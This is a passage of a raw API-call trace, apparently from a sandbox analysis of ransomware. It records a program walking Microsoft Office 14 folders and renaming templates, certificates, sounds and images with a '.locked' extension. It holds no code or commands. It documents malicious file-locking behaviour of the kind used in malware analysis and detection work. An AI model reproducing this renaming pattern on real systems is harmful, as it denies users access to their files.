Office\\Office14\\1033\\QuickStyles\\Traditional.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\traditional.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\traditional.dotx.locked"), dwFlags=0x2) returned 1 [0036.392] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xb8ac08c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb8ac08c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f6, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0036.396] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1036\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x779e270, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb8ae6a20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb8ae6a20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x603, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0036.398] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\3082\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a4f390, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb8ae6a20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb8ae6a20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x603, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0036.402] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb8ae6a20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb8ae6a20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x603, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0036.405] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb8ae6a20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb8ae6a20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x603, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0036.407] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\ADDINS\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb8ae6a20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb8ae6a20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x603, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0036.411] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Bibliography\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb8b0cb80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb8b0cb80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x603, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0036.412] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb8b0cb80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb8b0cb80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0036.415] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb8b0cb80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb8b0cb80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0036.418] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\BORDERS\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58b4ce70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb8b0cb80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb8b0cb80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x603, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0036.421] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\CONVERT\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb8b0cb80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb8b0cb80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x603, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0036.424] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe7ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb8b0cb80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb8b0cb80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0036.425] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Document Parts\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb8b32ce0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb8b32ce0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x603, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0036.427] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb8b32ce0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb8b32ce0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0036.428] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb8b32ce0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb8b32ce0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0036.975] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14\\Built-In Building Blocks.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\document parts\\1033\\14\\built-in building blocks.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14\\Built-In Building Blocks.dotx.locked" (normalized: "c:\\program files\\microsoft office\\office14\\document parts\\1033\\14\\built-in building blocks.dotx.locked"), dwFlags=0x2) returned 1 [0036.982] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb9067d00, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb9067d00, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x603, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0036.985] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb9067d00, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb9067d00, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0036.994] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb908de60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb908de60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x603, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0036.996] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb908de60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb908de60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0037.000] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb908de60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb908de60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0037.003] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d2c00d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb90b3fc0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb90b3fc0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0037.006] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components\\SignedComponents.cer" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\components\\signedcomponents.cer"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components\\SignedComponents.cer.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\components\\signedcomponents.cer.locked"), dwFlags=0x2) returned 1 [0037.015] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb90b3fc0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb90b3fc0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0037.017] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects\\SignedManagedObjects.cer" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\managedobjects\\signedmanagedobjects.cer"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects\\SignedManagedObjects.cer.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\managedobjects\\signedmanagedobjects.cer.locked"), dwFlags=0x2) returned 1 [0037.019] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb90da120, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb90da120, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0037.022] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\Management.cer" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\servers\\management.cer"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\Management.cer.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\servers\\management.cer.locked"), dwFlags=0x2) returned 1 [0037.024] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb90da120, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb90da120, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0037.027] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb90da120, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb90da120, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0037.029] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\VeriSign_Class_3_Code_Signing_2001-4_CA.cer" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\verisign\\components\\verisign_class_3_code_signing_2001-4_ca.cer"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\VeriSign_Class_3_Code_Signing_2001-4_CA.cer.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\verisign\\components\\verisign_class_3_code_signing_2001-4_ca.cer.locked"), dwFlags=0x2) returned 1 [0037.042] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\VeriSign_Class_3_Public_Primary_CA.cer" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\verisign\\components\\verisign_class_3_public_primary_ca.cer"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\VeriSign_Class_3_Public_Primary_CA.cer.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\verisign\\components\\verisign_class_3_public_primary_ca.cer.locked"), dwFlags=0x2) returned 1 [0037.045] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\VS_ComponentSigningIntermediate.cer" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\verisign\\components\\vs_componentsigningintermediate.cer"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\VS_ComponentSigningIntermediate.cer.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\verisign\\components\\vs_componentsigningintermediate.cer.locked"), dwFlags=0x2) returned 1 [0037.049] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51b925d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb9100280, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb9100280, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0037.052] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52a72f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb91263e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb91263e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0037.086] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\Whistling.wav" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\whistling.wav"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\Whistling.wav.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\whistling.wav.locked"), dwFlags=0x2) returned 1 [0037.090] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51b925d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb91726a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb91726a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0037.093] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51ce9230, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb91726a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb91726a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0037.097] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb9198800, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb9198800, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0037.105] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CalendarToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\calendartooliconimages.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CalendarToolIconImages.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\calendartooliconimages.jpg.locked"), dwFlags=0x2) returned 1 [0037.109] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CalendarToolIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\calendartooliconimagesmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CalendarToolIconImagesMask.bmp.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\calendartooliconimagesmask.bmp.locked"), dwFlags=0x2) returned 1 [0037.115] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\ChessIconImages.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\chessiconimages.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\ChessIconImages.bmp.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\chessiconimages.bmp.locked"), dwFlags=0x2) returned 1 [0037.119] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\ChessIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\chessiconimagesmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\ChessIconImagesMask.bmp.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\chessiconimagesmask.bmp.locked"), dwFlags=0x2) returned 1 [0037.133] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CreateSpaceImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\createspaceimage.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CreateSpaceImage.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\createspaceimage.jpg.locked"), dwFlags=0x2) returned 1 [0037.139] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CreateSpaceImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\createspaceimagemask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CreateSpaceImageMask.bmp.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\createspaceimagemask.bmp.locked"), dwFlags=0x2) returned 1 [0037.148] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataListIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\datalisticonimages.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataListIconImages.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\datalisticonimages.jpg.locked"), dwFlags=0x2) returned 1 [0037.151] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataListIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\datalisticonimagesmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataListIconImagesMask.bmp.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\datalisticonimagesmask.bmp.locked"), dwFlags=0x2) returned 1 